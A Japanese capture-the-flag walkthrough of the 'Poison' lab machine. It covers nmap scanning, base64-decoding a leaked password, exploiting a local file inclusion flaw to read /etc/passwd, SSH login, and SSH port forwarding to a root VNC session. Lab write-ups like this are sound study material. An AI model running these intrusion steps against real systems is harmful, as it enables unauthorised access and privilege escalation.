偵察/スキャン
nmapでポートスキャンを行います。
┌──(kali㉿kali)-[~] └─$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.84 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) ┌──(kali㉿kali)-[~] └─$ nmap -sC -sV -p$ports 10.10.10.84 Starting Nmap 7.92 ( https://nmap.org ) Nmap scan report for 10.10.10.84 Host is up (0.20s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) | ssh-hostkey: | 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA) | 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA) |_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519) Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.86 seconds
TCP22/80が開いていることがわかります。
ブラウザでアクセスすると以下のページが表示されます。
「Scriptname」にページ内に記載のあるファイル名を入力し「Submit」すると結果が表示されるようです。
「listfiles.php」と入力して実行すると、気になるファイル名が表示されます。
パスワードが13回エンコードされているようなので、以下のプログラムで13回デコードします。
from base64 import b64decode str="Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=" for i in range(13): str=b64decode(str) print(str)
実行すると以下の文字列を取得することができます。
Charix!2#4%6&8(0
また、WebページではLFIの脆弱性があるようです。他にもアクセスできるファイルがないか探索します。
※file以降の部分はエラーメッセージの内容をもとに指定します。
「/etc/passwd」にアクセスできるようです。
最後の方を見ると「charix」というユーザがあることがわかります。
このユーザを使い、SSHでのアクセスを試みます。
補足:LFIについて
エラーページにも記載がありますが、include関数は絶対・相対パスを指定して外部ファイルを読み込むことが可能です。
そのため、通常以下のようなリクエストを処理するページに対し、
LFIでは以下のようなリクエストを送ることでマシン上の他のファイルを閲覧することが可能となります。
アクセスの取得
「charlie/Charix!2#4%6&8(0」でSSHアクセスすると、「secrete.zip」というファイルがあります。
このファイルをKali側に送ります。
┌──(kali㉿kali)-[~] └─$ scp charix@10.10.10.84:~/secret.zip ./ (charix@10.10.10.84) Password for charix@Poison: secret.zip 100% 166 0.4KB/s 00:00 ┌──(kali㉿kali)-[~] └─$ ls secret.zip
unzip(パスワードは上記のもの)して内容を見てもよくわかりませんでした。
権限昇格
アクセス後に以下のコマンドを実行してポートとプロセス情報を調べます。
┌──(kali㉿kali)-[~] └─$ charix@Poison:~ % sockstat -4 -l -P tcp USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS www httpd 809 4 tcp4 *:80 *:* www httpd 807 4 tcp4 *:80 *:* www httpd 806 4 tcp4 *:80 *:* www httpd 805 4 tcp4 *:80 *:* www httpd 803 4 tcp4 *:80 *:* www httpd 800 4 tcp4 *:80 *:* www httpd 799 4 tcp4 *:80 *:* www httpd 796 4 tcp4 *:80 *:* www httpd 783 4 tcp4 *:80 *:* www httpd 782 4 tcp4 *:80 *:* www httpd 776 4 tcp4 *:80 *:* www httpd 757 4 tcp4 *:80 *:* www httpd 756 4 tcp4 *:80 *:* www httpd 755 4 tcp4 *:80 *:* www httpd 748 4 tcp4 *:80 *:* www httpd 740 4 tcp4 *:80 *:* www httpd 719 4 tcp4 *:80 *:* www httpd 716 4 tcp4 *:80 *:* root sendmail 642 3 tcp4 127.0.0.1:25 *:* www httpd 641 4 tcp4 *:80 *:* www httpd 639 4 tcp4 *:80 *:* root httpd 625 4 tcp4 *:80 *:* root sshd 620 4 tcp4 *:22 *:* root Xvnc 529 1 tcp4 127.0.0.1:5901 *:* root Xvnc 529 3 tcp4 127.0.0.1:5801 *:*
nmapでは見えていませんが、rootの権限で自分自身(10.10.10.84)からのVNC接続が可能なようです。
しかし、自分自身からの接続しか受け付けていないため、sshポートフォワーディングをします。
ポートフォワーディングでは、ローカルのポート接続からあるサーバを踏み台にして直接アクセスできない別のサーバのポートにアクセスすることが可能です。
sshによるポートフォワーディングは以下のようなコマンドで実行します。
ssh [踏み台サーバ] -L [自分自身のポート]:[目的のアドレス]:[目的のポート]
今回の場合は以下のコマンドになります。
コンソール①:ssh charix@10.10.10.84 -L 5901:127.0.0.1:5901
コンソール②:vncviewer -passwd secret 127.0.0.1:5901
上記のコマンドでSSH接続後に、Kali側でvncviewerを実行、パスワードにsecretファイルを指定して自分自身の5901ポートにアクセスすると、宛先のサーバ:ポートに転送されます。
ここまですると「root.txt」を確認することができます。
・・・VNC viewerのコピーってどうやるんだろう。
参考にさせていただいたサイト
貴重な情報をありがとうございます。